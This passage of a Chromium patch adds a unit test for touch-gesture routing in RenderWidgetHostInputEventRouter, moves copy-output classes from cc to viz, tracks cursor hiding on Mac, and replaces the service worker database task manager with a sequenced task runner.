+#include "content/test/test_render_view_host.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace content {
+
+namespace {
+
+// Used as a target for the RenderWidgetHostInputEventRouter. We record what
+// events were forwarded to us in order to verify that the events are being
+// routed correctly.
+class MockRenderWidgetHostView : public TestRenderWidgetHostView {
+ public:
+  MockRenderWidgetHostView(RenderWidgetHost* rwh)
+      : TestRenderWidgetHostView(rwh),
+        last_gesture_seen_(blink::WebInputEvent::kUndefined) {}
+  ~MockRenderWidgetHostView() override {}
+
+  void ProcessGestureEvent(const blink::WebGestureEvent& event,
+                           const ui::LatencyInfo&) override {
+    last_gesture_seen_ = event.GetType();
+  }
+
+  blink::WebInputEvent::Type last_gesture_seen() { return last_gesture_seen_; }
+
+  void Reset() { last_gesture_seen_ = blink::WebInputEvent::kUndefined; }
+
+ private:
+  blink::WebInputEvent::Type last_gesture_seen_;
+};
+
+// The RenderWidgetHostInputEventRouter uses the root RWHV for hittesting, so
+// here we stub out the hittesting logic so we can control which RWHV will be
+// the result of a hittest by the RWHIER.
+class MockRootRenderWidgetHostView : public MockRenderWidgetHostView {
+ public:
+  MockRootRenderWidgetHostView(
+      RenderWidgetHost* rwh,
+      std::map<MockRenderWidgetHostView*, viz::FrameSinkId>& frame_sink_id_map)
+      : MockRenderWidgetHostView(rwh), frame_sink_id_map_(frame_sink_id_map) {}
+  ~MockRootRenderWidgetHostView() override {}
+
+  viz::FrameSinkId FrameSinkIdAtPoint(viz::SurfaceHittestDelegate*,
+                                      const gfx::Point&,
+                                      gfx::Point*) override {
+    return frame_sink_id_map_[current_hittest_result_];
+  }
+
+  void SetHittestResult(MockRenderWidgetHostView* view) {
+    current_hittest_result_ = view;
+  }
+
+ private:
+  std::map<MockRenderWidgetHostView*, viz::FrameSinkId>& frame_sink_id_map_;
+  MockRenderWidgetHostView* current_hittest_result_;
+};
+
+}  // namespace
+
+class RenderWidgetHostInputEventRouterTest : public testing::Test {
+ public:
+  RenderWidgetHostInputEventRouterTest()
+      : scoped_task_environment_(
+            base::test::ScopedTaskEnvironment::MainThreadType::UI) {}
+
+ protected:
+  // testing::Test:
+  void SetUp() override {
+    browser_context_ = base::MakeUnique<TestBrowserContext>();
+    process_host1_ =
+        base::MakeUnique<MockRenderProcessHost>(browser_context_.get());
+    process_host2_ =
+        base::MakeUnique<MockRenderProcessHost>(browser_context_.get());
+    widget_host1_ = base::MakeUnique<RenderWidgetHostImpl>(
+        &delegate_, process_host1_.get(), process_host1_->GetNextRoutingID(),
+        false);
+    widget_host2_ = base::MakeUnique<RenderWidgetHostImpl>(
+        &delegate_, process_host2_.get(), process_host2_->GetNextRoutingID(),
+        false);
+
+    view_root_ = base::MakeUnique<MockRootRenderWidgetHostView>(
+        widget_host1_.get(), frame_sink_id_map_);
+    view_other_ =
+        base::MakeUnique<MockRenderWidgetHostView>(widget_host2_.get());
+
+    // Set up the RWHIER's FrameSinkId to RWHV map so that we can control the
+    // result of RWHIER's hittesting.
+    frame_sink_id_map_ = {{view_root_.get(), viz::FrameSinkId(1, 1)},
+                          {view_other_.get(), viz::FrameSinkId(2, 2)}};
+    rwhier_.AddFrameSinkIdOwner(frame_sink_id_map_[view_root_.get()],
+                                view_root_.get());
+    rwhier_.AddFrameSinkIdOwner(frame_sink_id_map_[view_other_.get()],
+                                view_other_.get());
+  }
+
+  void TearDown() override { base::RunLoop().RunUntilIdle(); }
+
+  RenderWidgetHostViewBase* touch_target() {
+    return rwhier_.touch_target_.target;
+  }
+  RenderWidgetHostViewBase* touchscreen_gesture_target() {
+    return rwhier_.touchscreen_gesture_target_.target;
+  }
+
+  // Needed by RenderWidgetHostImpl constructor.
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
+
+  DummyRenderWidgetHostDelegate delegate_;
+  std::unique_ptr<BrowserContext> browser_context_;
+  std::unique_ptr<MockRenderProcessHost> process_host1_;
+  std::unique_ptr<MockRenderProcessHost> process_host2_;
+  std::unique_ptr<RenderWidgetHostImpl> widget_host1_;
+  std::unique_ptr<RenderWidgetHostImpl> widget_host2_;
+
+  std::unique_ptr<MockRootRenderWidgetHostView> view_root_;
+  std::unique_ptr<MockRenderWidgetHostView> view_other_;
+
+  std::map<MockRenderWidgetHostView*, viz::FrameSinkId> frame_sink_id_map_;
+
+  RenderWidgetHostInputEventRouter rwhier_;
+
+ private:
+  DISALLOW_COPY_AND_ASSIGN(RenderWidgetHostInputEventRouterTest);
+};
+
+// Make sure that when a touch scroll crosses out of the area for a
+// RenderWidgetHostView, the RenderWidgetHostInputEventRouter continues to
+// route gesture events to the same RWHV until the end of the gesture.
+// See crbug.com/739831
+TEST_F(RenderWidgetHostInputEventRouterTest,
+       DoNotChangeTargetViewDuringTouchScrollGesture) {
+  // Simulate the touch and gesture events produced from scrolling on a
+  // touchscreen.
+
+  // We start the touch in the area for |view_other_|.
+  view_root_->SetHittestResult(view_other_.get());
+
+  blink::WebTouchEvent touch_event(blink::WebInputEvent::kTouchStart,
+                                   blink::WebInputEvent::kNoModifiers,
+                                   blink::WebInputEvent::kTimeStampForTesting);
+  touch_event.touches_length = 1;
+  touch_event.touches[0].state = blink::WebTouchPoint::kStatePressed;
+  touch_event.unique_touch_event_id = 1;
+
+  rwhier_.RouteTouchEvent(view_root_.get(), &touch_event,
+                          ui::LatencyInfo(ui::SourceEventType::TOUCH));
+  EXPECT_EQ(view_other_.get(), touch_target());
+
+  blink::WebGestureEvent gesture_event(
+      blink::WebInputEvent::kGestureTapDown, blink::WebInputEvent::kNoModifiers,
+      blink::WebInputEvent::kTimeStampForTesting);
+  gesture_event.source_device = blink::kWebGestureDeviceTouchscreen;
+  gesture_event.unique_touch_event_id = touch_event.unique_touch_event_id;
+
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+  EXPECT_EQ(view_other_.get(), touchscreen_gesture_target());
+  EXPECT_EQ(blink::WebInputEvent::kGestureTapDown,
+            view_other_->last_gesture_seen());
+  EXPECT_NE(blink::WebInputEvent::kGestureTapDown,
+            view_root_->last_gesture_seen());
+
+  touch_event.SetType(blink::WebInputEvent::kTouchMove);
+  touch_event.touches[0].state = blink::WebTouchPoint::kStateMoved;
+  touch_event.unique_touch_event_id += 1;
+  rwhier_.RouteTouchEvent(view_root_.get(), &touch_event,
+                          ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  gesture_event.SetType(blink::WebInputEvent::kGestureTapCancel);
+  gesture_event.unique_touch_event_id = touch_event.unique_touch_event_id;
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  gesture_event.SetType(blink::WebInputEvent::kGestureScrollBegin);
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  gesture_event.SetType(blink::WebInputEvent::kGestureScrollUpdate);
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  touch_event.unique_touch_event_id += 1;
+  rwhier_.RouteTouchEvent(view_root_.get(), &touch_event,
+                          ui::LatencyInfo(ui::SourceEventType::TOUCH));
+  gesture_event.unique_touch_event_id = touch_event.unique_touch_event_id;
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  // Now the touch moves out of |view_other_| and into |view_root_|, but
+  // |view_other_| should continue to be the target for gesture events.
+  view_root_->SetHittestResult(view_root_.get());
+  view_root_->Reset();
+  view_other_->Reset();
+
+  touch_event.unique_touch_event_id += 1;
+  rwhier_.RouteTouchEvent(view_root_.get(), &touch_event,
+                          ui::LatencyInfo(ui::SourceEventType::TOUCH));
+  gesture_event.unique_touch_event_id = touch_event.unique_touch_event_id;
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  EXPECT_EQ(view_other_.get(), touch_target());
+  EXPECT_EQ(view_other_.get(), touchscreen_gesture_target());
+  EXPECT_EQ(blink::WebInputEvent::kGestureScrollUpdate,
+            view_other_->last_gesture_seen());
+  EXPECT_NE(blink::WebInputEvent::kGestureScrollUpdate,
+            view_root_->last_gesture_seen());
+
+  touch_event.SetType(blink::WebInputEvent::kTouchEnd);
+  touch_event.touches[0].state = blink::WebTouchPoint::kStateReleased;
+  touch_event.unique_touch_event_id += 1;
+  rwhier_.RouteTouchEvent(view_root_.get(), &touch_event,
+                          ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  gesture_event.SetType(blink::WebInputEvent::kGestureScrollEnd);
+  gesture_event.unique_touch_event_id = touch_event.unique_touch_event_id;
+  rwhier_.RouteGestureEvent(view_root_.get(), &gesture_event,
+                            ui::LatencyInfo(ui::SourceEventType::TOUCH));
+
+  EXPECT_EQ(blink::WebInputEvent::kGestureScrollEnd,
+            view_other_->last_gesture_seen());
+  EXPECT_NE(blink::WebInputEvent::kGestureScrollEnd,
+            view_root_->last_gesture_seen());
+}
+
+}  // namespace content
diff --git a/content/browser/renderer_host/render_widget_host_view_android.cc b/content/browser/renderer_host/render_widget_host_view_android.cc
index c32a1d04..8daf5ebf 100644
--- a/content/browser/renderer_host/render_widget_host_view_android.cc
+++ b/content/browser/renderer_host/render_widget_host_view_android.cc
@@ -26,12 +26,12 @@
 #include "cc/layers/layer.h"
 #include "cc/layers/surface_layer.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/latency_info_swap_promise.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/trees/layer_tree_host.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
 #include "components/viz/service/surfaces/surface.h"
 #include "components/viz/service/surfaces/surface_hittest.h"
@@ -293,7 +293,7 @@
 
 void CopyFromCompositingSurfaceFinished(
     const ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     std::unique_ptr<SkBitmap> bitmap,
     const base::TimeTicks& start_time,
     scoped_refptr<PendingReadbackLock> readback_lock,
@@ -358,7 +358,7 @@
     const base::TimeTicks& start_time,
     const ReadbackRequestCallback& callback,
     scoped_refptr<PendingReadbackLock> readback_lock,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   base::ScopedClosureRunner scoped_callback_runner(
       base::Bind(callback, SkBitmap(), READBACK_FAILED));
   TRACE_EVENT0("cc",
@@ -366,7 +366,7 @@
   if (!result->HasTexture() || result->IsEmpty() || result->size().IsEmpty())
     return;
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   result->TakeTexture(&texture_mailbox, &release_callback);
   DCHECK(texture_mailbox.IsTexture());
   if (!texture_mailbox.IsTexture())
diff --git a/content/browser/renderer_host/render_widget_host_view_aura.cc b/content/browser/renderer_host/render_widget_host_view_aura.cc
index 7e27e214..91d9a49 100644
--- a/content/browser/renderer_host/render_widget_host_view_aura.cc
+++ b/content/browser/renderer_host/render_widget_host_view_aura.cc
@@ -19,10 +19,10 @@
 #include "base/trace_event/trace_event.h"
 #include "build/build_config.h"
 #include "cc/layers/layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/trees/layer_tree_settings.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "content/browser/accessibility/browser_accessibility_manager.h"
 #include "content/browser/accessibility/browser_accessibility_state_impl.h"
diff --git a/content/browser/renderer_host/render_widget_host_view_aura_unittest.cc b/content/browser/renderer_host/render_widget_host_view_aura_unittest.cc
index 99f8e43..5cfc90b 100644
--- a/content/browser/renderer_host/render_widget_host_view_aura_unittest.cc
+++ b/content/browser/renderer_host/render_widget_host_view_aura_unittest.cc
@@ -25,11 +25,11 @@
 #include "build/build_config.h"
 #include "cc/output/compositor_frame.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/test/fake_external_begin_frame_source.h"
 #include "cc/test/fake_surface_observer.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/surfaces/local_surface_id_allocator.h"
 #include "components/viz/service/display_embedder/server_shared_bitmap_manager.h"
 #include "components/viz/service/display_embedder/shared_bitmap_allocation_notifier_impl.h"
@@ -460,7 +460,7 @@
         window()->GetHost()->compositor());
   }
 
-  void InterceptCopyOfOutput(std::unique_ptr<cc::CopyOutputRequest> request) {
+  void InterceptCopyOfOutput(std::unique_ptr<viz::CopyOutputRequest> request) {
     last_copy_request_ = std::move(request);
     if (last_copy_request_->has_texture_mailbox()) {
       // Give the resulting texture a size.
@@ -504,7 +504,7 @@
   }
 
   gfx::Size last_frame_size_;
-  std::unique_ptr<cc::CopyOutputRequest> last_copy_request_;
+  std::unique_ptr<viz::CopyOutputRequest> last_copy_request_;
   FakeWindowEventDispatcher* dispatcher_;
   std::unique_ptr<FakeRendererCompositorFrameSink>
       renderer_compositor_frame_sink_;
@@ -3537,10 +3537,10 @@
   }
 
   void ReleaseSwappedFrame() {
-    std::unique_ptr<cc::CopyOutputRequest> request =
+    std::unique_ptr<viz::CopyOutputRequest> request =
         std::move(view_->last_copy_request_);
     request->SendTextureResult(view_rect_.size(), request->texture_mailbox(),
-                               std::unique_ptr<cc::SingleReleaseCallback>());
+                               std::unique_ptr<viz::SingleReleaseCallback>());
     RunLoopUntilCallback();
   }
 
@@ -3650,7 +3650,7 @@
 
   SubmitCompositorFrame();
   EXPECT_EQ(1, callback_count_);
-  std::unique_ptr<cc::CopyOutputRequest> request =
+  std::unique_ptr<viz::CopyOutputRequest> request =
       std::move(view_->last_copy_request_);
 
   // Destroy the RenderWidgetHostViewAura and ImageTransportFactory.
@@ -3659,7 +3659,7 @@
   // Send the result after-the-fact.  It goes nowhere since DelegatedFrameHost
   // has been destroyed.
   request->SendTextureResult(view_rect_.size(), request->texture_mailbox(),
-                             std::unique_ptr<cc::SingleReleaseCallback>());
+                             std::unique_ptr<viz::SingleReleaseCallback>());
 
   // Because the copy request callback may be holding state within it, that
   // state must handle the RWHVA and ImageTransportFactory going away before the
diff --git a/content/browser/renderer_host/render_widget_host_view_frame_subscriber.h b/content/browser/renderer_host/render_widget_host_view_frame_subscriber.h
index 4211ef7..09c3122 100644
--- a/content/browser/renderer_host/render_widget_host_view_frame_subscriber.h
+++ b/content/browser/renderer_host/render_widget_host_view_frame_subscriber.h
@@ -7,7 +7,7 @@
 
 #include "base/callback.h"
 #include "base/time/time.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 
 namespace gfx {
 class Rect;
diff --git a/content/browser/renderer_host/render_widget_host_view_mac.h b/content/browser/renderer_host/render_widget_host_view_mac.h
index a89427e..d3aac32 100644
--- a/content/browser/renderer_host/render_widget_host_view_mac.h
+++ b/content/browser/renderer_host/render_widget_host_view_mac.h
@@ -82,6 +82,9 @@
   // The cursor for the page. This is passed up from the renderer.
   base::scoped_nsobject<NSCursor> currentCursor_;
 
+  // Is YES if the cursor is hidden by key events.
+  BOOL cursorHidden_;
+
   // Variables used by our implementaion of the NSTextInput protocol.
   // An input method of Mac calls the methods of this protocol not only to
   // notify an application of its status, but also to retrieve the status of
diff --git a/content/browser/renderer_host/render_widget_host_view_mac.mm b/content/browser/renderer_host/render_widget_host_view_mac.mm
index 9026227..54350f3 100644
--- a/content/browser/renderer_host/render_widget_host_view_mac.mm
+++ b/content/browser/renderer_host/render_widget_host_view_mac.mm
@@ -1796,6 +1796,13 @@
 
   [[NSNotificationCenter defaultCenter] removeObserver:self];
 
+  // Update and cache the new input context. Otherwise,
+  // [NSTextInputContext currentInputContext] might still hold on to this
+  // view's NSTextInputContext even after it's deallocated.
+  // See http://crbug.com/684388.
+  [[self window] makeFirstResponder:nil];
+  [NSApp updateWindows];
+
   [super dealloc];
 }
 
@@ -1995,6 +2002,9 @@
     [self finishComposingText];
   }
 
+  if (type == NSMouseMoved)
+    cursorHidden_ = NO;
+
   WebMouseEvent event =
       WebMouseEventBuilder::Build(theEvent, self, pointerType_);
   ui::LatencyInfo latency_info(ui::SourceEventType::OTHER);
@@ -2162,8 +2172,10 @@
     widgetHost->ForwardKeyboardEventWithLatencyInfo(event, latency_info);
 
     // Possibly autohide the cursor.
-    if ([self shouldAutohideCursorForEvent:theEvent])
+    if ([self shouldAutohideCursorForEvent:theEvent]) {
       [NSCursor setHiddenUntilMouseMoves:YES];
+      cursorHidden_ = YES;
+    }
 
     return;
   }
@@ -2332,8 +2344,10 @@
   }
 
   // Possibly autohide the cursor.
-  if ([self shouldAutohideCursorForEvent:theEvent])
+  if ([self shouldAutohideCursorForEvent:theEvent]) {
     [NSCursor setHiddenUntilMouseMoves:YES];
+    cursorHidden_ = YES;
+  }
 }
 
 - (void)forceTouchEvent:(NSEvent*)theEvent {
@@ -3557,6 +3571,12 @@
 
   currentCursor_.reset([cursor retain]);
   [[self window] invalidateCursorRectsForView:self];
+
+  // NSWindow's invalidateCursorRectsForView: resets cursor rects but does not
+  // update the cursor instantly. The cursor is updated when the mouse moves.
+  // Update the cursor by setting the current cursor if not hidden.
+  if (!cursorHidden_)
+    [currentCursor_ set];
 }
 
 - (void)popupWindowWillClose:(NSNotification *)notification {
diff --git a/content/browser/service_worker/embedded_worker_test_helper.cc b/content/browser/service_worker/embedded_worker_test_helper.cc
index b435338..53b398ebc 100644
--- a/content/browser/service_worker/embedded_worker_test_helper.cc
+++ b/content/browser/service_worker/embedded_worker_test_helper.cc
@@ -296,10 +296,9 @@
       mock_render_process_id_(render_process_host_->GetID()),
       new_mock_render_process_id_(new_render_process_host_->GetID()),
       weak_factory_(this) {
-  std::unique_ptr<MockServiceWorkerDatabaseTaskManager> database_task_manager(
-      new MockServiceWorkerDatabaseTaskManager(
-          base::ThreadTaskRunnerHandle::Get()));
-  wrapper_->InitInternal(user_data_directory, std::move(database_task_manager),
+  scoped_refptr<base::SequencedTaskRunner> database_task_runner =
+      base::ThreadTaskRunnerHandle::Get();
+  wrapper_->InitInternal(user_data_directory, std::move(database_task_runner),
                          base::ThreadTaskRunnerHandle::Get(), nullptr, nullptr,
                          nullptr, nullptr);
   wrapper_->process_manager()->SetProcessIdForTest(mock_render_process_id());
diff --git a/content/browser/service_worker/service_worker_context_core.cc b/content/browser/service_worker/service_worker_context_core.cc
index 748b18c..0da7ae5 100644
--- a/content/browser/service_worker/service_worker_context_core.cc
+++ b/content/browser/service_worker/service_worker_context_core.cc
@@ -23,7 +23,6 @@
 #include "content/browser/service_worker/embedded_worker_status.h"
 #include "content/browser/service_worker/service_worker_context_core_observer.h"
 #include "content/browser/service_worker/service_worker_context_wrapper.h"
-#include "content/browser/service_worker/service_worker_database_task_manager.h"
 #include "content/browser/service_worker/service_worker_dispatcher_host.h"
 #include "content/browser/service_worker/service_worker_info.h"
 #include "content/browser/service_worker/service_worker_job_coordinator.h"
@@ -237,8 +236,8 @@
 
 ServiceWorkerContextCore::ServiceWorkerContextCore(
     const base::FilePath& path,
-    std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-    const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+    scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+    scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
     storage::QuotaManagerProxy* quota_manager_proxy,
     storage::SpecialStoragePolicy* special_storage_policy,
     base::WeakPtr<storage::BlobStorageContext> blob_storage_context,
@@ -260,8 +259,9 @@
   // These get a WeakPtr from weak_factory_, so must be set after weak_factory_
   // is initialized.
   storage_ = ServiceWorkerStorage::Create(
-      path, AsWeakPtr(), std::move(database_task_manager), disk_cache_thread,
-      quota_manager_proxy, special_storage_policy);
+      path, AsWeakPtr(), std::move(database_task_runner),
+      std::move(disk_cache_thread), quota_manager_proxy,
+      special_storage_policy);
   embedded_worker_registry_ = EmbeddedWorkerRegistry::Create(AsWeakPtr());
   job_coordinator_.reset(new ServiceWorkerJobCoordinator(AsWeakPtr()));
 }
diff --git a/content/browser/service_worker/service_worker_context_core.h b/content/browser/service_worker/service_worker_context_core.h
index 037b04b..62f5142 100644
--- a/content/browser/service_worker/service_worker_context_core.h
+++ b/content/browser/service_worker/service_worker_context_core.h
@@ -45,7 +45,6 @@
 class EmbeddedWorkerRegistry;
 class ServiceWorkerContextCoreObserver;
 class ServiceWorkerContextWrapper;
-class ServiceWorkerDatabaseTaskManager;
 class ServiceWorkerDispatcherHost;
 class ServiceWorkerJobCoordinator;
 class ServiceWorkerNavigationHandleCore;
@@ -117,9 +116,8 @@
   // when IsServicificationEnabled is true.
   ServiceWorkerContextCore(
       const base::FilePath& user_data_directory,
-      std::unique_ptr<ServiceWorkerDatabaseTaskManager>
-          database_task_runner_manager,
-      const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+      scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+      scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
       storage::QuotaManagerProxy* quota_manager_proxy,
       storage::SpecialStoragePolicy* special_storage_policy,
       base::WeakPtr<storage::BlobStorageContext> blob_context,
diff --git a/content/browser/service_worker/service_worker_context_unittest.cc b/content/browser/service_worker/service_worker_context_unittest.cc
index 0f1fde1..a8e3b253 100644
--- a/content/browser/service_worker/service_worker_context_unittest.cc
+++ b/content/browser/service_worker/service_worker_context_unittest.cc
@@ -669,7 +669,7 @@
 
 class ServiceWorkerContextRecoveryTest
     : public ServiceWorkerContextTest,
-      public testing::WithParamInterface<bool> {
+      public testing::WithParamInterface<bool /* is_storage_on_disk */> {
  public:
   ServiceWorkerContextRecoveryTest() {}
   virtual ~ServiceWorkerContextRecoveryTest() {}
@@ -770,6 +770,6 @@
 
 INSTANTIATE_TEST_CASE_P(ServiceWorkerContextRecoveryTest,
                         ServiceWorkerContextRecoveryTest,
-                        testing::Bool());
+                        testing::Bool() /* is_storage_on_disk */);
 
 }  // namespace content
diff --git a/content/browser/service_worker/service_worker_context_wrapper.cc b/content/browser/service_worker/service_worker_context_wrapper.cc
index 639e259..a95eca5 100644
--- a/content/browser/service_worker/service_worker_context_wrapper.cc
+++ b/content/browser/service_worker/service_worker_context_wrapper.cc
@@ -18,6 +18,7 @@
 #include "base/logging.h"
 #include "base/profiler/scoped_tracker.h"
 #include "base/single_thread_task_runner.h"
+#include "base/task_scheduler/post_task.h"
 #include "base/threading/sequenced_worker_pool.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "content/browser/service_worker/embedded_worker_status.h"
@@ -190,14 +191,19 @@
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
 
   is_incognito_ = user_data_directory.empty();
-  base::SequencedWorkerPool* pool = BrowserThread::GetBlockingPool();
-  std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager(
-      new ServiceWorkerDatabaseTaskManagerImpl(pool));
+  // The database task runner is BLOCK_SHUTDOWN in order to support
+  // ClearSessionOnlyOrigins() (called due to the "clear on browser exit"
+  // content setting).
+  // TODO(falken): Only block shutdown for that particular task, when someday
+  // task runners support mixing task shutdown behaviors.
+  scoped_refptr<base::SequencedTaskRunner> database_task_runner =
+      base::CreateSequencedTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskShutdownBehavior::BLOCK_SHUTDOWN});
   scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread =
       BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE);
-  InitInternal(user_data_directory, std::move(database_task_manager),
-               disk_cache_thread, quota_manager_proxy, special_storage_policy,
-               blob_context, loader_factory_getter);
+  InitInternal(user_data_directory, std::move(database_task_runner),
+               std::move(disk_cache_thread), quota_manager_proxy,
+               special_storage_policy, blob_context, loader_factory_getter);
 }
 
 void ServiceWorkerContextWrapper::Shutdown() {
@@ -844,8 +850,8 @@
 
 void ServiceWorkerContextWrapper::InitInternal(
     const base::FilePath& user_data_directory,
-    std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-    const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+    scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+    scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
     storage::QuotaManagerProxy* quota_manager_proxy,
     storage::SpecialStoragePolicy* special_storage_policy,
     ChromeBlobStorageContext* blob_context,
@@ -854,8 +860,9 @@
     BrowserThread::PostTask(
         BrowserThread::IO, FROM_HERE,
         base::Bind(&ServiceWorkerContextWrapper::InitInternal, this,
-                   user_data_directory, base::Passed(&database_task_manager),
-                   disk_cache_thread, base::RetainedRef(quota_manager_proxy),
+                   user_data_directory, std::move(database_task_runner),
+                   std::move(disk_cache_thread),
+                   base::RetainedRef(quota_manager_proxy),
                    base::RetainedRef(special_storage_policy),
                    base::RetainedRef(blob_context),
                    base::RetainedRef(loader_factory_getter)));
@@ -875,9 +882,10 @@
           ? blob_context->context()->AsWeakPtr()
           : nullptr;
   context_core_.reset(new ServiceWorkerContextCore(
-      user_data_directory, std::move(database_task_manager), disk_cache_thread,
-      quota_manager_proxy, special_storage_policy, blob_storage_context,
-      loader_factory_getter, core_observer_list_.get(), this));
+      user_data_directory, std::move(database_task_runner),
+      std::move(disk_cache_thread), quota_manager_proxy, special_storage_policy,
+      blob_storage_context, loader_factory_getter, core_observer_list_.get(),
+      this));
 }
 
 void ServiceWorkerContextWrapper::ShutdownOnIO() {
diff --git a/content/browser/service_worker/service_worker_context_wrapper.h b/content/browser/service_worker/service_worker_context_wrapper.h
index ecce8e1..557e01f 100644
--- a/content/browser/service_worker/service_worker_context_wrapper.h
+++ b/content/browser/service_worker/service_worker_context_wrapper.h
@@ -276,8 +276,8 @@
 
   void InitInternal(
       const base::FilePath& user_data_directory,
-      std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-      const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+      scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+      scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
       storage::QuotaManagerProxy* quota_manager_proxy,
       storage::SpecialStoragePolicy* special_storage_policy,
       ChromeBlobStorageContext* blob_context,
diff --git a/content/browser/service_worker/service_worker_database_task_manager.cc b/content/browser/service_worker/service_worker_database_task_manager.cc
deleted file mode 100644
index 804941b..0000000
--- a/content/browser/service_worker/service_worker_database_task_manager.cc
+++ /dev/null
@@ -1,72 +0,0 @@
-// Copyright 2014 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "content/browser/service_worker/service_worker_database_task_manager.h"
-
-#include "base/memory/ptr_util.h"
-#include "base/sequenced_task_runner.h"
-
-namespace content {
-
-ServiceWorkerDatabaseTaskManagerImpl::ServiceWorkerDatabaseTaskManagerImpl(
-    base::SequencedWorkerPool* pool) {
-  base::SequencedWorkerPool::SequenceToken token = pool->GetSequenceToken();
-  task_runner_ = pool->GetSequencedTaskRunner(token);
-  shutdown_blocking_task_runner_ =
-      pool->GetSequencedTaskRunnerWithShutdownBehavior(
-          token, base::SequencedWorkerPool::BLOCK_SHUTDOWN);
-}
-
-ServiceWorkerDatabaseTaskManagerImpl::~ServiceWorkerDatabaseTaskManagerImpl() {
-}
-
-std::unique_ptr<ServiceWorkerDatabaseTaskManager>
-ServiceWorkerDatabaseTaskManagerImpl::Clone() {
-  return base::WrapUnique(new ServiceWorkerDatabaseTaskManagerImpl(
-      task_runner_, shutdown_blocking_task_runner_));
-}
-
-base::SequencedTaskRunner*
-ServiceWorkerDatabaseTaskManagerImpl::GetTaskRunner() {
-  return task_runner_.get();
-}
-
-base::SequencedTaskRunner*
-ServiceWorkerDatabaseTaskManagerImpl::GetShutdownBlockingTaskRunner() {
-  return shutdown_blocking_task_runner_.get();
-}
-
-ServiceWorkerDatabaseTaskManagerImpl::ServiceWorkerDatabaseTaskManagerImpl(
-    const scoped_refptr<base::SequencedTaskRunner>& task_runner,
-    const scoped_refptr<base::SequencedTaskRunner>&
-        shutdown_blocking_task_runner)
-    : task_runner_(task_runner),
-      shutdown_blocking_task_runner_(shutdown_blocking_task_runner) {
-}
-
-MockServiceWorkerDatabaseTaskManager::MockServiceWorkerDatabaseTaskManager(
-    const scoped_refptr<base::SequencedTaskRunner>& task_runner)
-    : task_runner_(task_runner) {
-}
-
-MockServiceWorkerDatabaseTaskManager::~MockServiceWorkerDatabaseTaskManager() {
-}
-
-std::unique_ptr<ServiceWorkerDatabaseTaskManager>
-MockServiceWorkerDatabaseTaskManager::Clone() {
-  return base::WrapUnique(
-      new MockServiceWorkerDatabaseTaskManager(task_runner_));
-}
-
-base::SequencedTaskRunner*
-MockServiceWorkerDatabaseTaskManager::GetTaskRunner() {
-  return task_runner_.get();
-}
-
-base::SequencedTaskRunner*
-MockServiceWorkerDatabaseTaskManager::GetShutdownBlockingTaskRunner() {
-  return task_runner_.get();
-}
-
-}  // namespace content
diff --git a/content/browser/service_worker/service_worker_database_task_manager.h b/content/browser/service_worker/service_worker_database_task_manager.h
